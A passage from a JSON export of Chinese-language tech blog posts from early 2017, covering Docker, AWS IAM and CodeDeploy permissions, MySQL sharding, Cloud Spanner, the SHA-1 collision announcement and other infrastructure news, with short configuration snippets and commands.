    "body": "花了些時間研究如何把 <a href=\"https://rakshasa.github.io/rtorrent/\">rTorrent</a> 丟進 <a href=\"https://www.docker.com/\">Docker</a> 裡跑，對應的設定都放在 <a href=\"https://github.com/\">GitHub</a> 上的「<a href=\"https://github.com/gslin/rtorrent-docker\">gslin/rtorrent-docker</a>」這邊。\r\n\r\n使用的方式是傳入使用者的 uid 與 gid (<code>-e USER_GID</code> 與 <code>-e USER_UID</code>)，以及預期的 port (有兩個地方，一個是 <code>-e PORT</code>，另外一個是 <code>-p</code> 開 port forwarding，不然外面沒辦法直接連進來)，然後把 <code>TERM</code> 變數丟進確保 console 的操作。剩下來把對應的目錄掛進 container 讓他可以寫入 (<code>-v</code> 的部份)：\r\n\r\n<pre>docker run \\\r\n    -e PORT=6991 -e TERM=${TERM} \\\r\n    -e USER_GID=`id -g` -e USER_UID=`id -u` \\\r\n    -i -p 6991:6991 -t -v \"`pwd`:/srv/rtorrent\" \\\r\n    gslin/rtorrent:latest</pre>\r\n\r\n自己用這樣應該是夠用了... 把這串命令放到 shell 的 <code>alias</code> 裡面用就好了。",
    "title": "把 rTorrent 跑到 Docker 裡"
  },
  {
    "id": "7108",
    "body": "<a href=\"https://www.etsy.com/\">Etsy</a> 的「<a href=\"https://codeascraft.com/2017/01/31/how-etsy-manages-https-and-ssl-certificates-for-custom-domains-on-pattern/\">How Etsy Manages HTTPS and SSL Certificates for Custom Domains on Pattern</a>」這篇文章講了如何用 <a href=\"https://letsencrypt.org/\">Let's Encrypt</a> 實作 Custom Domain。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/kaxhvSA.webp\" /><img src=\"https://i.gslin.com/imgur/kaxhvSA.jpg\" alt=\"\" /></picture>\r\n\r\n主要是因為 Let's Encrypt 在設計時就考慮到的 auto-renew 機制，可以全自動處理後續的動作。這使得接 Let's Encrypt 比起接其他家來得容易 (而且省掉許多費用與合約上要處理的問題)。\r\n\r\n文章後半段則是討論另外一個問題：當你有上千把 private key (&amp; certificate) 時要怎麼管理，以確保這些 private key 都夠安全。其中有提到未來打算要引入 <a href=\"https://en.wikipedia.org/wiki/Hardware_security_module\">HSM</a>：\r\n\r\n<blockquote>One of our stretch goals is to look into deploying HSMs. If there are bugs in the underlying software, the integrity of the entire system could be compromised thus voiding any guarantees we try to keep. While bugs are inevitable, moving critical cryptographic functions into secure hardware will mitigate their impact.</blockquote>\r\n\r\n由於不太可能是把所有的 private key 塞到 HSM 裡面，應該是用 HSM 管理加密後的 private key，可以想像一下整個系統又會多了好幾個元件將責任拆開...",
    "title": "Etsy 如何用 Let's Encrypt 的 SSL certificate 做生意..."
  },
  {
    "id": "7109",
    "body": "功能叫做 <a href=\"https://help.github.com/articles/about-topics/\">topics</a>：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/2RVgweC.webp\" /><img src=\"https://i.gslin.com/imgur/2RVgweC.jpg\" alt=\"\" /></picture>\r\n\r\n<a href=\"https://github.com/\">GitHub</a> 會透過機器學習的方式對公開的 repository 給建議：\r\n\r\n<blockquote>Additionally, GitHub uses machine learning to analyze public repository content and generate suggested topics that repository admins can accept or reject. Private repository content is not analyzed and does not receive topic suggestions.</blockquote>",
    "title": "GitHub 可以在 repository 上加 tag 了"
  },
  {
    "id": "7110",
    "body": "在「<a href=\"http://www.ebaytechblog.com/2017/01/31/how-ebays-shopping-cart-used-compression-techniques-to-solve-network-io-bottlenecks/\">How eBay’s Shopping Cart used compression techniques to solve network I/O bottlenecks</a>」這邊 <a href=\"https://www.ebay.com/\">eBay</a> 描述了他們怎麼解決在 <a href=\"https://www.mongodb.com/\">MongoDB</a> 上遇到的問題，不過我看的是他們怎麼用 MongoDB，而不是這次解決的問題：\r\n\r\n<blockquote>It’s easier to think of the MongoDB layer as a “cache” and the Oracle store as the persistent copy. If there’s a cache miss (that is, missing data in MongoDB), the services fall back to recover the data from Oracle and make further downstream calls to recompute the cart.</blockquote>\r\n\r\n把 MongoDB 當作 cache layer，當 cache miss 的時候還是會回去底層的 <a href=\"https://www.oracle.com/\">Oracle</a> 撈資料計算，這用法頗有趣的...\r\n\r\n不拿 <a href=\"https://memcached.org/\">memcached</a> 出來用的原因不知道是為什麼，是要找個有 HA 方案的 cache layer 嗎？還是有針對 JSON document 做判斷操作？",
    "title": "eBay 把 MongoDB 當 cache layer 的用法..."
  },
  {
    "id": "7111",
    "body": "應該是因為 <code>#DeleteUber</code> 的關係而冒到排行榜上的「<a href=\"http://libretaxi.org/\">LibreTaxi</a>」(關於 <code>#DeleteUber</code> 的事情，可以參考「<a href=\"https://www.nytimes.com/2017/01/31/business/delete-uber.html\">What You Need to Know About #DeleteUber</a>」這邊的說明)。\r\n\r\n看了官網的說明覺得還蠻特別的，看了 <a href=\"https://github.com/\">GitHub</a> 上的 <a href=\"https://github.com/ro31337/libretaxi\">ro31337/libretaxi</a> 說明才對於他運作方式稍微有感覺：\r\n\r\n系統跑在 <a href=\"https://firebase.google.com/\">Firebase</a> 上，用 <a href=\"https://telegram.org/\">Telegram</a> 當溝通工具，用這樣的架構來建構系統... 然後專案從 2016 年四月開始做的。",
    "title": "LibreTaxi：Uber 的替代方案"
  },
  {
    "id": "7112",
    "body": "之前在 <a href=\"https://trac.edgewall.org/\">Trac</a> 裡會想要達成「當使用者參與這張票時，自動加到 cc list 讓他收到後續的更新」這樣的功能。之前沒有仔細研究要怎麼在 Trac 裡面實踐，就直接在 template (也就是 <code>site.html</code>) 裡面用 javascript 在 client 做掉...\r\n\r\n先拉出 <code>authname</code>：\r\n\r\n<pre>&lt;script&gt;\r\n(function() {\r\n    window.authname = \"${authname}\";\r\n})();\r\n&lt;/script&gt;</pre>\r\n\r\n然後再攔截網址裡有 <code>/ticket/</code> 的頁面，當 <code>form</code> 符合條件時攔截 <code>submit</code> 事件，在 cc list 裡面沒有自己時把自己加進去：\r\n\r\n<pre>// Add myself into cc list, if I am not in cc list now.\r\n(function() {\r\n    if (-1 === document.location.href.indexOf('/ticket/')) {\r\n        return;\r\n    }\r\n    var cc_list = jQuery('input[name=\"field_cc\"]').val().split(/[ ,]+/);\r\n    for (var i in cc_list) {\r\n        if (window.authname === cc_list[i]) {\r\n            return;\r\n        }\r\n    }\r\n\r\n    jQuery(function() {\r\n        jQuery('form#propertyform').submit(function() {\r\n            var cc = jQuery('input[name=\"field_cc\"]');\r\n            cc.val(cc.val() + ',' + window.authname);\r\n        });\r\n    });\r\n})();</pre>\r\n\r\n這樣是可以達成目的啦，但有種惡搞的感覺... 所以這次還是寫了個 Trac plugin 來解決，這樣不用擔心當網頁界面改版時會產生問題：「<a href=\"https://github.com/104corp/trac-addtocc-plugin\">104corp/trac-addtocc-plugin</a>」。",
    "title": "在 Trac 裡把參與者自動加到 cc list 裡面的 plugin"
  },
  {
    "id": "7113",
    "body": "<a href=\"https://www.percona.com/\">Percona</a> 的人剛好針對 database sharding 的事情整理了一篇文章，專門講 SaaS 服務時對 sharding 的規劃：「<a href=\"https://www.percona.com/blog/2017/01/30/mysql-sharding-models-for-saas-applications/\">MySQL Sharding Models for SaaS Applications</a>」。\r\n\r\n我主要是看這段：\r\n\r\n<blockquote>When sharding today, you have a choice of rolling your own system from scratch, using comprehensive sharding platform such as <a href=\"http://vitess.io/\">Vitess</a> or using a proxy solution to assist you with sharding. For proxy solutions, <a href=\"https://www.mysql.com/products/enterprise/router.html\">MySQL Router</a> is the official solution. But in reality, third party solutions such as open source <a href=\"http://www.proxysql.com/\">ProxySQL</a>, commercial <a href=\"https://www.scalearc.com/how-it-works/performance-features/query-routing\">ScaleArc</a> and semi-commercial (BSL)  <a href=\"https://mariadb.com/products/mariadb-maxscale\">MariaDB MaxScale</a> are widely used. Keep in mind, however, that traffic routing is only one of the problems that exist in large scale sharding implementations.</blockquote>\r\n\r\n也就是說，除了在 application 上自己實作外，目前能用的方案 (堪用的方案) 大概就這些了，而且這些方案主要是解 routing 問題，對於跨 database server 的 join 都還是要自己小心實作。\r\n\r\n後面提到的 sharding model 也是個蠻重要的主題，切割的方法與使用的方法有關，切的好效能就會好。\r\n\r\n另外文章沒有提到要怎麼 balancing (甚至是 auto-balancing)，這點應該也是比較需要注意的地方...",
    "title": "MySQL 上 sharding 的方案"
  },
  {
    "id": "7114",
    "body": "<a href=\"https://www.backblaze.com/\">Backblaze</a> 針對 2016 年的硬碟損耗狀況進行分析，這次因為剛好是跨年，所以包括了 2016Q4 與 2016 全年度的資料：「<a href=\"https://www.backblaze.com/blog/hard-drive-benchmark-stats-2016/\">Backblaze Hard Drive Stats for 2016</a>」。\r\n\r\n大家比較有興趣的重點應該是全年度的廠牌比較：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/rqBX0SZ.webp\" /><img src=\"https://i.gslin.com/imgur/rqBX0SZ.jpg\" alt=\"\" /></picture>\r\n\r\n<a href=\"https://www.hgst.com/\">HGST</a> 的品質還是很厲害，另外也可以看到 Backblaze 愈來愈不使用 <a href=\"https://www.wdc.com/\">WD</a> 的硬碟了...",
    "title": "Backblaze 對 2016 硬碟損耗狀況的分析"
  },
  {
    "id": "7117",
    "body": "這陣子在弄 <a href=\"https://aws.amazon.com/codedeploy/\">AWS CodeDeploy</a>，調整了半天才把權限壓低到合理的範圍 (<a href=\"https://aws.amazon.com/\">AWS</a> 給的預設值還是有點大)，記錄下來之後會比較好找...\r\n\r\n在權限部份，AWS CodeDeploy 應該有三個權限要設定：\r\n\r\n<ul>\r\n\t<li>IAM user：給 CI 跑完後丟上 <a href=\"https://aws.amazon.com/s3/\">Amazon S3</a> 並且呼叫 AWS CodeDeploy 佈署用的，像是 <a href=\"https://travis-ci.com/\">Travis CI</a> 或是之類的服務。但如果是手動到 web console 觸發的話，這個部份就不需要了。</li>\r\n\t<li>Service Role：給 AWS CodeDeploy 的服務本身用的。</li>\r\n\t<li>EC2 Role：給跑在機器上 AWS CodeDeploy Agent 用的。</li>\r\n</ul>\r\n\r\n如同前面講的，IAM user 的部份有兩個要處理，一個是讓 CI 服務把檔案傳上 Amazon S3，另外一個是讓他有權限可以呼叫 AWS CodeDeploy 佈署新版本。\r\n\r\n後者比較簡單，直接拉 <code>AWSCodeDeployDeployerAccess</code> 就可以了，前者比較麻煩一點，需要透過 Policy Generator 建出對應的權限：\r\n\r\n<pre>{\r\n    \"Version\": \"2012-10-17\",\r\n    \"Statement\": [\r\n        {\r\n            \"Sid\": \"Stmt1486156178000\",\r\n            \"Effect\": \"Allow\",\r\n            \"Action\": [\r\n                \"s3:*\"\r\n            ],\r\n            \"Resource\": [\r\n                \"arn:aws:s3:::codedeploy-testbucket/*\"\r\n            ]\r\n        }\r\n    ]\r\n}</pre>\r\n\r\n第二個的 Service Role 是最簡單的，直接拉 <code>AWSCodeDeployRole</code> 就可以了。\r\n\r\n第三個的 EC2 Role 只需要給存取 Amazon S3 的權限。照 AWS 的建議用 <code>AmazonEC2RoleforAWSCodeDeploy</code> 是會動啦，但權限給太大了，整個帳號可以存取的 S3 bucket 他都可以拉到：\r\n\r\n<pre>{\r\n  \"Version\": \"2012-10-17\",\r\n  \"Statement\": [\r\n    {\r\n      \"Action\": [\r\n        \"s3:GetObject\",\r\n        \"s3:GetObjectVersion\",\r\n        \"s3:ListObjects\"\r\n      ],\r\n      \"Effect\": \"Allow\",\r\n      \"Resource\": \"*\"\r\n    }\r\n  ]\r\n}</pre>\r\n\r\n改成自己用 Policy Generator 生，限制在 <code>codedeploy-testbucket</code> 上會比較好：\r\n\r\n<pre>{\r\n    \"Version\": \"2012-10-17\",\r\n    \"Statement\": [\r\n        {\r\n            \"Sid\": \"Stmt1486165995000\",\r\n            \"Effect\": \"Allow\",\r\n            \"Action\": [\r\n                \"s3:GetObject\",\r\n                \"s3:GetObjectVersion\",\r\n                \"s3:ListBucket\"\r\n            ],\r\n            \"Resource\": [\r\n                \"arn:aws:s3:::codedeploy-testbucket/*\"\r\n            ]\r\n        }\r\n    ]\r\n}</pre>\r\n\r\n這樣權限的部份就差不多了...",
    "title": "CodeDeploy 的權限設定..."
  },
  {
    "id": "7118",
    "body": "<a href=\"https://aws.amazon.com/ec2/\">EC2</a> 的 <a href=\"https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/iam-roles-for-amazon-ec2.html\">IAM Role</a> 根本是開發階段最常重新啟動的理由之一 XDDD\r\n\r\n<a href=\"https://aws.amazon.com/\">AWS</a> 總算把動態調整 IAM Role 的功能給做出來了：「<a href=\"https://aws.amazon.com/blogs/security/new-attach-an-aws-iam-role-to-an-existing-amazon-ec2-instance-by-using-the-aws-cli/\">New! Attach an AWS IAM Role to an Existing Amazon EC2 Instance by Using the AWS CLI</a>」。\r\n\r\n不過看到文章完全沒有截圖，心裡大概就猜得到目前 web console 還不支援了... 現在只能透過 command line 操作，像是「Attach the IAM role to an existing EC2 instance that was originally launched without an IAM role」這一段：\r\n\r\n<pre>$ aws ec2 associate-iam-instance-profile --instance-id YourInstanceId --iam-instance-profile Name=YourNewRole-Instance-Profile</pre>\r\n\r\n或是「Replace the attached IAM role」這段：\r\n\r\n<pre>$ aws ec2 replace-iam-instance-profile-association --association-id YourCurrentAssociation-id --iam-instance-profile Name=YourReplacementRole-Instance-Profile</pre>\r\n\r\n不過有進度總是比沒進度開心，這功能應該會加到 web console...",
    "title": "EC2 的 IAM Role 可以動態改了..."
  },
  {
    "id": "7119",
    "body": "在「<a href=\"https://students.googleblog.com/2017/02/intern-impact-brotli-compression-for.html\">Intern Impact: Brotli compression for Play Store app downloads</a>」這邊介紹了 <a href=\"https://play.google.com/\">Google Play Store</a> 引入 <a href=\"https://github.com/google/brotli\">Brotli</a> 的情況。\r\n\r\n選擇 Brotli 除了是 <a href=\"https://www.google.com/\">Google</a> 自家研發出來的東西以外，另外是考量到 Brotli 的壓縮與解壓縮速 (尤其是後者) 不會增加太多，卻可以多出不少壓縮率。維基百科這邊說明的是文字的部份：\r\n\r\n<blockquote>Replacing deflate with brotli typically gives an increase of 20% in compression density for text files, while compression and decompression speeds are roughly unchanged.</blockquote>\r\n\r\n不過實際在 Google Play Store 上測試 binary 的效果也不錯：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/zPZcV8R.webp\" /><img src=\"https://i.gslin.com/imgur/zPZcV8R.jpg\" alt=\"\" /></picture>\r\n\r\n當然，如同之前提到的「<a href=\"https://blog.gslin.org/archives/2016/12/11/7021/google-%E5%86%8D%E6%AC%A1%E6%94%B9%E5%96%84-android-%E7%9A%84-apk-%E6%9B%B4%E6%96%B0%EF%BC%8C%E8%AE%93%E4%B8%8B%E8%BC%89%E7%9A%84%E9%87%8F%E6%9B%B4%E5%B0%8F/\">Google 再次改善 Android 的 APK 更新，讓下載的量更小</a>」，在去年 12 月時 Google 對於背景更新的下載 File-by-File 的更新來降低流量 (但在手機上會需要大量的 CPU 資源計算，不過因為是背景 idle 時跑而不會影響使用者，所以被採用)，透過這兩個改善互相搭配繼續壓低流量。\r\n\r\n在接下來的幾個禮拜會生效：\r\n\r\n<blockquote>Brotli compression for app downloads is rolling out now, and users should start to enjoy the benefits over the coming weeks.</blockquote>",
    "title": "Google Play Store 將支援 Brotli 壓縮"
  },
  {
    "id": "7121",
    "body": "<a href=\"https://aws.amazon.com/ebs/\">Amazon EBS</a> 可以動態增加大小了，是個對不少人還蠻方便的功能：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/02/amazon-elastic-block-store-amazon-ebs-enables-live-volume-modifications-with-elastic-volumes/\">Amazon Elastic Block Store (Amazon EBS) Enables Live Volume Modifications with Elastic Volumes</a>」。\r\n\r\n這邊講的沒有 downtime 當然還是得需要 filesystem 支援：\r\n\r\n<blockquote>Today we are introducing the Elastic Volumes feature for Amazon Elastic Block Store (Amazon EBS). This new capability allows you to modify configurations of live volumes with a simple API call or a few console clicks. Elastic Volumes makes it easy to dynamically increase capacity, tune performance, and change the type of any new or existing current generation volume with no downtime or performance impact.</blockquote>\r\n\r\n另外提到一個特殊的組合，是配合 <a href=\"https://aws.amazon.com/cloudwatch/\">CloudWatch</a> 與 <a href=\"https://aws.amazon.com/lambda/\">Lambda</a> 調整：\r\n\r\n<blockquote>You can streamline and automate changes using Amazon CloudWatch with AWS Lambda.</blockquote>\r\n\r\n這方法頗有趣的 XDDD",
    "title": "EBS 有動態長大的功能了..."
  },
  {
    "id": "7122",
    "body": "<a href=\"https://www.linode.com/\">Linode</a> 與 <a href=\"https://www.digitalocean.com/\">DigitalOcean</a> 這兩家有名的 VPS 都推出新的功能：「<a href=\"https://blog.linode.com/2017/02/14/high-memory-instances-and-5-linodes/\">High-Memory Instances and $5 Linodes</a>」、「<a href=\"https://www.digitalocean.com/company/blog/load-balancers-simplifying-high-availability/\">Load Balancers: Simplifying High Availability</a>」。\r\n\r\nLinode 另外將 $10/month 方案的硬碟空間加大：\r\n\r\n<blockquote>And finally, the existing Linode 2GB ($10/mo) plan is receiving a free storage upgrade from 24GiB to 30GiB.</blockquote>\r\n\r\n本來對外的速度限制在 125Mbps max 拉到 1000Mbps：(本來的資料可以參考<a href=\"https://web.archive.org/web/20161202050325/https://www.linode.com/pricing\">之前的頁面</a>)\r\n\r\n<blockquote>And finally finally, we’ve also increased the outbound network speed limit on all plans to be at minimum 1000 Mbits. Existing Linodes will need to reboot to pick up the new value, that’s it!</blockquote>",
    "title": "Linode 推出 $5/month 方案，DigitalOcean 推出 load balancer"
  },
  {
    "id": "7123",
    "body": "<a href=\"https://www.google.com/\">Google</a> 把 <a href=\"https://cloud.google.com/spanner/\">Cloud Spanner</a> 這個服務拿出來賣了：「<a href=\"https://cloudplatform.googleblog.com/2017/02/introducing-Cloud-Spanner-a-global-database-service-for-mission-critical-applications.html\">Introducing Cloud Spanner: a global database service for mission-critical applications</a>」，以及說明的「<a href=\"https://cloudplatform.googleblog.com/2017/02/inside-Cloud-Spanner-and-the-CAP-Theorem.html\">Inside Cloud Spanner and the CAP Theorem</a>」。\r\n\r\nCloud Spanner 的規劃上是希望有 RDBMS 的能力 (像是 <a href=\"https://en.wikipedia.org/wiki/ACID\">ACID</a> 特性)，又有強大的擴充能力 (scalability) 與可用性 (availability)：\r\n\r\n<blockquote>Today, we’re excited to announce the public beta for Cloud Spanner, a globally distributed relational database service that lets customers have their cake and eat it too: ACID transactions and SQL semantics, without giving up horizontal scaling and high availability.</blockquote>\r\n\r\n在說明裡有提到 Cloud Spanner 是做到 <a href=\"https://en.wikipedia.org/wiki/CAP_theorem\">CAP theorem</a> 裡面的 CP：\r\n\r\n<blockquote>The purist answer is “no” because partitions can happen and in fact have happened at Google, and during some partitions, Spanner chooses C and forfeits A. It is technically a CP system.</blockquote>\r\n\r\n然後把 A 拉高到使用者不會在意 downtime 的程度：\r\n\r\n<blockquote>However, no system provides 100% availability, so the pragmatic question is whether or not Spanner delivers availability that is so high that most users don't worry about its outages.</blockquote>\r\n\r\n當然，比較讓人爭議的是 <a href=\"https://twitter.com/\">Twitter</a> 上 Google Cloud 官方帳號的 tweet，直接講同時解決了 CAP 三個條件：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">Cloud Spanner: the first horizontally scalable, globally consistent, relational database service <a href=\"https://t.co/QpXuTk9q6s\">https://t.co/QpXuTk9q6s</a><br>C✔️️<br>A✔️️<br>P✔️️ <a href=\"https://t.co/UvziIKz1Y3\">pic.twitter.com/UvziIKz1Y3</a></p>&mdash; Google Cloud (@googlecloud) <a href=\"https://twitter.com/googlecloud/status/831549273544208384\">February 14, 2017</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n價錢不算便宜，不過對於想要找方案的人至少有選擇...",
    "title": "Google 的 Cloud Spanner"
  },
  {
    "id": "7126",
    "body": "<a href=\"https://github.com/lukas2511/dehydrated\">dehydrated</a> 出 0.4.0 了，剛剛把 <a href=\"https://launchpad.net/~gslin/+archive/ubuntu/dehydrated\">PPA for dehydrated</a> 更新了，已經安裝過的使用者可以直接升級使用。\r\n\r\n這次主要的改變在於建立帳號時必須先同意 <a href=\"https://letsencrypt.org/\">Let's Encrypt</a> 的使用條款：\r\n\r\n<blockquote>dehydrated now asks you to read and accept the CAs terms of service before creating an account</blockquote>\r\n\r\n這邊可以用 <code>dehydrated --register --accept-terms</code> 表示同意並且建立帳號。",
    "title": "dehydrated 0.4.0 的新要求"
  },
  {
    "id": "7127",
    "body": "<a href=\"https://github.com/ajermakovics/jvm-mon\">ajermakovics/jvm-mon</a> 這個專案可以看 JVM 的情況 (像是 heap 與 gc 的狀態)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/MFuKbKk.webp\" /><img src=\"https://i.gslin.com/imgur/MFuKbKk.jpg\" alt=\"\" /></picture>\r\n\r\n花俏了點，不過是個頗有趣的東西... 隔壁的 <a href=\"https://github.com/patric-r/jvmtop\">patric-r/jvmtop</a> 應該會比較實用一些。",
    "title": "JVM monitor"
  },
  {
    "id": "7129",
    "body": "在「<a href=\"https://reactos.org/project-news/reactos-044-released\">ReactOS 0.4.4 Released</a>」這邊看到 <a href=\"https://reactos.org/\">ReactOS</a> 在實際機器上 (而非虛擬機上) 跑 Office 2007 的畫面：\r\n\r\n<img src=\"https://i.gslin.com/imgur/rJGCXnX.jpg\" alt=\"\" />\r\n\r\n最近 ReactOS 的消息比較多，而且也看到一些比較驚人的成果了...",
    "title": "ReactOS 0.4.4 可以跑 Office 2007 了"
  },
  {
    "id": "7130",
    "body": "<a href=\"https://www.cloudflare.com/\">Cloudflare</a> 宣佈支援 <a href=\"https://en.wikipedia.org/wiki/Time-based_One-time_Password_Algorithm\">TOTP</a> 形式的 OTP 了：「<a href=\"https://blog.cloudflare.com/you-can-now-use-google-authenticator/\">You can now use Google Authenticator and any TOTP app for Two-Factor Authentication</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/3moaCr9.webp\" /><img src=\"https://i.gslin.com/imgur/3moaCr9.jpg\" alt=\"\" /></picture>\r\n\r\n這樣可以重設然後把 <a href=\"https://www.authy.com/\">Authy</a> 砍掉了，這樣就不用把 OTP 的 secret data 放在別人家了 :o",
    "title": "Cloudflare 總算支援 TOTP 了"
  },
  {
    "id": "7134",
    "body": "之前有不少 <a href=\"https://www.google.com/\">Google</a> 內軟體開發的說明 (像是 2015 年的「<a href=\"https://www.wired.com/2015/09/google-2-billion-lines-codeand-one-place/\">Google Is 2 Billion Lines of Code&mdash;And It&#8217;s All in One Place</a>」)，不過這好像是第一次以 paper 的形式整理出來：「<a href=\"https://arxiv.org/abs/1702.01715\">Software Engineering at Google</a>」。\r\n\r\n當你有一群等級超高的工程師時，軟體工程裡面一堆假設都被推翻，然後一堆工具都是客製化自己開發 (有可能是那個時間點還沒有成熟的工具，也有可能是需要大量客製化)，於是就會看到各種有趣的解法... XD\r\n\r\n拿來看看還可以，拿來抄八成會出事 XDDD",
    "title": "Google 的軟體開發"
  },
  {
    "id": "7135",
    "body": "<a href=\"https://www.facebook.com/\">Facebook</a> 的牆上看到「<a href=\"https://github.com/benjojo/totp-ssh-fluxer\">TOTP SSH port fluxing</a>」這個，有種「沃槽」的感覺...\r\n\r\n<img src=\"https://i.gslin.com/imgur/bMtD9RW.gif\" alt=\"\" />\r\n\r\n這方法有種掩耳盜鈴的感覺... (SYN scan 很快的啊)",
    "title": "每三十秒換一次 ssh port 的 TOTP SSH port fluxing"
  },
  {
    "id": "7136",
    "body": "清資料時發現支援了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/02/amazon-redshift-now-supports-encrypting-unloaded-data-using-amazon-s3-server-side-encryption-with-aws-kms-keys/\">Amazon Redshift now supports encrypting unloaded data using Amazon S3 server-side encryption with AWS KMS keys</a>」：\r\n\r\n<blockquote>The Amazon Redshift UNLOAD command now supports Amazon S3 server-side encryption using an AWS KMS key.</blockquote>\r\n\r\n這樣資料丟上 <a href=\"https://aws.amazon.com/s3/\">Amazon S3</a> 時可以透過 <a href=\"https://aws.amazon.com/kms/\">AWS KMS</a> 加密保存，而 <a href=\"https://aws.amazon.com/redshift/\">Amazon Redshift</a> 可以透過 KMS 直接拉出來，處理起來會方便不少...\r\n\r\n不過 <a href=\"https://aws.amazon.com/athena/\">Amazon Athena</a> 好像還是沒辦法？",
    "title": "Amazon Redshift 可以讀 S3 裡被 KMS 加密過的資料了"
  },
  {
    "id": "7137",
    "body": "<a href=\"https://tools.ietf.org/html/draft-brotman-mta-sts-00\">SMTP MTA Strict Transport Security</a> 算是 <a href=\"https://en.wikipedia.org/wiki/Opportunistic_TLS\">SMTP STARTTLS</a> 裡的 <a href=\"https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security\">HSTS</a> 機制，而 <a href=\"https://www.google.com/\">Google</a> 的人在 <a href=\"https://www.rsaconference.com/\">RSA Conference</a> 上提出要開始用了：「<a href=\"https://threatpost.com/smtp-strict-transport-security-coming-soon-to-gmail-other-webmail-providers/123789/\">SMTP STS Coming Soon to Gmail, Other Webmail Providers</a>」。\r\n\r\n<blockquote>Elie Bursztein, the head of Google’s anti-abuse research team, said at RSA Conference that SMTP STS will be a major impediment to man-in-the-middle attacks that rely on rogue certificates that are likely forged, stolen or otherwise untrusted. Google, Microsoft, Yahoo and Comcast are expected to adopt the standard this year, a draft of which was submitted to the IETF in March 2016.</blockquote>\r\n\r\n補上去後對於 SMTP 的隱私保護就會更好了...",
    "title": "Gmail 要開始導入 SMTP Strict Transport Security 了"
  },
  {
    "id": "7138",
    "body": "<a href=\"https://www.google.com/\">Google</a> 宣佈在 <a href=\"https://cloud.google.com/\">GCP</a> 上的機器與服務支援 GPU 運算了：「<a href=\"https://cloudplatform.googleblog.com/2017/02/GPUs-are-now-available-for-Google-Compute-Engine-and-Cloud-Machine-Learning.html\">GPUs are now available for Google Compute Engine and Cloud Machine Learning</a>」。\r\n\r\n算是 beta 階段，用的是 <a href=\"https://www.nvidia.com/object/tesla-k80.html\">NVIDIA Tesla K80</a>：\r\n\r\n<blockquote>Google Cloud Platform gets a performance boost today with the much anticipated public beta of NVIDIA Tesla K80 GPUs.</blockquote>\r\n\r\n然後台灣的 asia-east1 也在內。第一波必須透過 cli 操作，之後才會在 web console 上加上去：\r\n\r\n<blockquote>You can now spin up NVIDIA GPU-based VMs in three GCP regions: us-east1, asia-east1 and europe-west1, using the gcloud command-line tool. Support for creating GPU VMs using the Cloud Console appears next week.</blockquote>\r\n\r\n也開始支援 GPU 了...",
    "title": "Google Cloud Platform 的機器與服務也支援 GPU 了..."
  },
  {
    "id": "7139",
    "body": "<a href=\"https://www.google.com/\">Google</a> 與 <a href=\"https://www.cwi.nl/\">CWI Amsterdam</a> 正式攻陷 <a href=\"https://en.wikipedia.org/wiki/SHA-1\">SHA-1</a>：「<a href=\"https://security.googleblog.com/2017/02/announcing-first-sha1-collision.html\">Announcing the first SHA1 collision</a>」，然後也沒什麼意外的，現在大家都喜歡針對各種安全問題註冊一個 domain 來介紹：「<a href=\"https://shattered.it/\">SHAttered</a>」。\r\n\r\n把 <a href=\"https://shattered.it/static/shattered-1.pdf\">shattered-1.pdf</a> 與 <a href=\"https://shattered.it/static/shattered-2.pdf\">shattered-2.pdf</a> 下載下來確認，可以看出來兩個不一樣的檔案有同樣的 SHA-1 value：\r\n\r\n<pre>gslin@home [/tmp] [21:33/W4] sha1sum *.pdf\r\n38762cf7f55934b34d179ae6a4c80cadccbb7f0a  shattered-1.pdf\r\n38762cf7f55934b34d179ae6a4c80cadccbb7f0a  shattered-2.pdf\r\n\r\ngslin@home [/tmp] [21:33/W4] sha256sum *.pdf\r\n2bb787a73e37352f92383abe7e2902936d1059ad9f1ba6daaa9c1e58ee6970d0  shattered-1.pdf\r\nd4488775d29bdef7993367d541064dbdda50d383f89f0aa13a6ff2e0894ba5ff  shattered-2.pdf</pre>\r\n\r\n直接拿 pdf 來打，表達的是「一次到位」以及「既然可以攻擊 pdf，那麼其他東西當然也有可能」...\r\n\r\n攻擊計算量的部份，這次攻擊使用的資源其實不算少，但對於大公司與大單位已經不是問題了，猜這次 Google 應該是贊助不少雲端設施：\r\n\r\n<ul>\r\n\t<li>6,500 years of CPU computation to complete the attack first phase</li>\r\n\t<li>110 years of GPU computation to complete the second phase</li>\r\n</ul>\r\n\r\n這衍生出另外一個頭比較大的問題是 <a href=\"https://git-scm.com/\">Git</a> 目前使用的 SHA1：\r\n\r\n<blockquote>GIT strongly relies on SHA-1 for the identification and integrity checking of all file objects and commits. It is essentially possible to create two GIT repositories with the same head commit hash and different contents, say a benign source code and a backdoored one. An attacker could potentially selectively serve either repository to targeted users. This will require attackers to compute their own collision.</blockquote>\r\n\r\n這下得來看 Git 核心團隊要怎麼從 SHA-1 migrate 到其他 hash function 了...",
    "title": "Google 與 CWI Amsterdam 合作，找到 SHA-1 第一個 collision"
  },
  {
    "id": "7140",
